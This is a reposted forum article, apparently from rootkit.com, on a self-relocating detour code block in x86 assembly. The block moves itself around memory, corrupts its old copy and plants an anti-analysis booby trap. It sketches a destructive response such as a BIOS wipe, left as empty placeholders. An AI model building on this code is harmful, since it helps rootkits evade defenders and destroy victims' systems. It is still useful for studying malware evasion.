发新话题
打印

[转载]Dynamic, Relocating code block with booby-trapping

[转载]Dynamic, Relocating code block with booby-trapping

文章作者:hoglund
原始连接:http://www.rootkit.com/newsread.php?newsid=335

I recently thought up this idea where you could create a position-independent code block for use w/ function detours. The function detour would branch to a code block to perform whatever magic hocus-pocus, logic mods, etc – but following the logic mods, the code block would then scan memory looking for a new place to put itself. Once finding such a location, the code block relocates itself and patches up the detour to point to the new location. If your attempting to debug this thing, you might find the code block one second, and it would vanish the next. I cooked up some basic code to illustrate the idea. First, the code block itself needs to be smallish because it needs to fit in the unused portion of memory at the end of a page (think cavity infection). Second, the code block should erase or corrupt the previous copy – the location it just left. To perform the scanning, I used a simple exception handling block and a brute force walk through memory at intervals of 0x1000 distant.

The steps are:

Run the code block header
Store the CPU state
Perform normal hocus-pocus
Setup an exception handler, save the old one
Scan memory for 200 unused bytes at the end of a page
If found, move a copy of myself to the new location
Put back old exception handler
Corrupt my current location
Fixup the detour patch to point to the new location
Return or jump back to the detoured function

Now, I didn’t want to stop here – I thought of an additional trick to apply when corrupting the previous code block location – I would set a booby trap to detect if someone is trying to analyze it. In this case, I just set a global flag if the location is ever executed again. The current valid code block will simply check this flag first, whenever it runs. If the flag is set, it can branch to a do_something_nasty routine which either issues an emergency wipe from memory, or even does something really mean like wipe the BIOS. The booby trap itself – in my example – is fairly simple. More extensive forms of booby trapping could be applied of course.



So the new set of steps are:

Run the code block header
Store the CPU state
CHECK TO SEE IF BOOBY TRAP HAS BEEN TRIPPED
If so, goto DO_SOMETHING_NASTY
Perform normal hocus-pocus
Setup an exception handler, save the old one
Scan memory for 200 unused bytes at the end of a page
If found, move a copy of myself to the new location
Put back old exception handler
Corrupt my current location
PLACE BOOBY TRAP INTO CORRUPTED PORTION
Fixup the detour patch to point to the new location
Return or jump back to the detoured function

It is assumed the DO_SOMETHING_NASTY is just tacked on to the end of the moveable code segment.

So, this is just a creative idea and I’ve only spent about 3 hours toying with it. Here is my pseudo-code so far – which I have tested in a harness and it works. There are several modifications or problems which I identify at the end of this article.

CODE FOLLOWS



   // 7FFDFF80, global for detcheck
   // 7FFDFF84, global count
   // 7FFDFF88, original stack pointer
   // 7FFDFF8C, original exception handler

HEADER:
      // move the stack out of the way and save the ptr
      mov      eax, 0x7FFDFF88
      pushad
      pushfd
      mov      dword ptr [eax], esp
      sub      esp, 200
      
      nop
      nop
      nop
      nop

DETCHECK:
      push   eax
      mov      eax, dword ptr [0x7FFDFF80]
      cmp      eax, 1
      pop      eax
      je      FOUNDME
PAYLOAD:
      // do whatever you need to do here
      nop
      nop
      nop
      nop
      nop
SCANNER:
      // store the global count
      mov      ecx, 0x1000
      mov      eax, 0x7ffdff84
      mov      [eax], ecx   

      //setup the exception handler
      push   offset EXHANDLE
      mov      ebx, dword ptr fs:[0x00000000]
      //save ptr to previous
      push   ebx
      mov      edi, 0x7ffdff8C
      mov      [edi], ebx
      mov      dword ptr fs:[0], esp

SCANNEXT:
      mov      eax, 0x7ffdff84
      mov      ecx, [eax]
      add      ecx, 0x1000
      mov      [eax], ecx
      mov      eax, ecx
      add      eax, 0x0FFF
      
      mov      ebx, [eax]
      // we are here if the memory is valid
      // scan backwards and see if we have 200 free bytes
      sub      eax, 200
ZTS:
      test   eax, 0xFFF
      je      RELOCATE
      mov      bl, [eax]
      inc      eax
      cmp      bl, 0
      jz      ZTS

      cmp      ecx, 0x7FF00000
      ja      NOTFOUND
EXHANDLE:
      // just keep scanning
      jmp      SCANNEXT
RELOCATE:
      //we found good memory
      //undo the exception handler
      mov      esi, 0x7ffdff8C
      mov      ebx, [esi]
      mov      dword ptr fs:[0], ebx

      //perform the relocation
      sub      eax, 199
      mov      esi, HEADER
      mov      edi, eax
      mov      ecx, 199
      rep movsb
      nop

CORRUPTOR:
      // eax has original location
      mov      edi, eax
      mov      esi, BOOBY
      mov      ecx, 16
      rep movsd
      jmp      RETURN
BOOBY:
      //placeholder for boobytrap instructions
      //to be copied into corrupted block,
      //not executed under normal conditions
      mov      eax, dword ptr [0x7FFDFF80]
      mov      [eax], 1
      
RETURN:
      // get back the original stack ptr,
      // register context, and fix esp for original value
      mov      eax, 0x7FFDFF88
      mov      esp, [eax]
      popfd
      popad
      
      // return control to your detoured function here, either w/
      // ret, or jmp
      ret

// these locations are for exception conditions, to be done
NOTFOUND:
      nop

FOUNDME:
      //do something really nasty here
      nop
      nop
      nop
      nop
      nop
      nop



One novel idea here is the use of the 7FFD page to store global variables. Perhaps a better way would be to store such variables in or around the code segment itself since the 7FFD variables are a consistent reference which could be leveraged by the reverse engineer. The CPU save and restore mechanism works, and the use of the global area to store ESP and the exception handler seems to work well. Also, the loop to scan for a 200 byte unused memory page works well, but it needs an upgrade to check only .text segments. If you copy yourself to a non .text segment you might run the risk of being overwritten by data. The payload is not implemented here, of course, and neither is the FOUNDME block, which would be the DO_SOMETHING_NASTY response. The length of the code block can be changed, of course, 200 being rather arbitrary. Finally, the corruptor here just places the simplistic booby trap – whereas it could be a bit more complex in both corruption and booby-trapping.

Anyway, this is just to tickle your imagination, and to also get something of a new article posted since we’ve all been draggin’ our butts for the past few months :-).
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题